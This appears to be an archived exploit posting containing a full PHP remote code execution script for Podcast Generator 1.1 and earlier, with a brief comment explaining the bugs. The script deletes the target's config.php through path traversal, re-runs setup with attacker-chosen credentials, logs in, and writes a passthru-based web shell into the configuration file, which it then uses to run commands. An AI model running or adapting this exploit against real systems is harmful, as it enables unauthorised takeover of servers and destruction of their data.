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Podcast Generator 1.1 Code Execution

Podcast Generator 1.1 Code Execution
Posted Apr 1, 2009
Authored by BlackHawk | Site itablackhawk.altervista.org

Podcast Generator versions 1.1 and below remote code execution exploit.

tags | exploit, remote, code execution
SHA-256 | 6fcaa065b9750fbbfb84c5b163e0d93cfe3cbfe592f8de88559b6a43924a4901

Podcast Generator 1.1 Code Execution

Change Mirror Download
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "

Podcast Generator <= 1.1 Remote Code Execution

Vendor: http://podcastgen.sourceforge.net
Exploit Author: BlackHawk
Author's Site: http://itablackhawk.altervista.org

Credits goes to RGod for the code
Thanks to Marija just for exist :)


";
if ($argc<4) {
echo "

Usage: php ".$argv[0]." host /path/ command

Es: php ".$argv[0]." localhost / dir

";
die;
}
/*
Bugs explanation:

This app has tons of bugs, but because of his structure lot of them are useless.. but not them all!

Look at 'core/admin/delete.php' (i have omitted the author comments):

---------------------------

<?php
if (isset($_REQUEST['absoluteurl']) OR isset($_REQUEST['amilogged']) OR isset($_REQUEST['theme_path'])) { exit; }
if (isset($_GET['file']) AND $_GET['file']!=NULL) {
$file = $_GET['file'];
$ext = $_GET['ext'];
if (file_exists("$absoluteurl$upload_dir$file.$ext")) {
unlink ("$upload_dir$file.$ext");
$PG_mainbody .="<p><b>$file.$ext</b> $L_deleted</p>";
}

---------------------------

no check for admin rights, so now we can delete whatever file we want, with any exstension..

so let's delete config.php and make a rfesh new installation with a password set by us!

the RCE is triggered in 'core/admin/scriptconfig.php', line 56:

---------------------------
// recent in home
$recent = $_POST['recent'];
if ($recent != "") {
$max_recent = $recent;
}
---------------------------

no sanitize of the input and no quotes added when writting to the config file (so no need mq=off)
BlackHawk <hawkgotyou@gmail.com>
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];

$cmd="";
for ($i=3; $i<=$argc-1; $i++){
$cmd.=" ".$argv[$i];
}
$port=80;
$proxy="";


if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "Step1 - Delete config.inc\r\n";
$packet ="GET ".$p."core/admin/delete.php?file=../../config&ext=php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);

echo "Step2 - Creating new configuration\r\n";

$data="username=new_user_name&password=blackhawk&password2=blackhawk&setuplanguage=en";
$packet="POST ".$p."/setup/index.php?step=5 HTTP/1.0\r\n";
$packet.="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);

echo "Step3 - Logging in\r\n";
$data="user=new_user_name&password=blackhawk";
$packet="POST ".$p."?p=admin HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[1]);
$PHPid = $temp2[0];


echo "Step4 - Sending shell\r\n";
$data="streaming=yes&fbox=yes&cats=yes&newsinadmin=yes&strictfilename=yes&recent=5; if (isset(\$_GET[cmd])){if(get_magic_quotes_gpc()){\$_GET[cmd]=stripslashes(\$_GET[cmd]);}echo 666999;passthru(\$_GET[cmd]);echo 666999;}\$xyz=5&recentinfeed=All&selectdateformat=d-m-Y&scriptlanguage=en";
$packet="POST ".$p."?do=config&p=admin&action=change HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: $PHPid\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);

echo "Step5 - Executing Command\r\n\r\n";
$packet ="GET ".$p."config.php?cmd=dir HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"666999"))
{
echo "Exploit succeeded...\r\n";
$temp=explode("666999",$html);
die("\r\n".$temp[1]."\r\n");
}
?>


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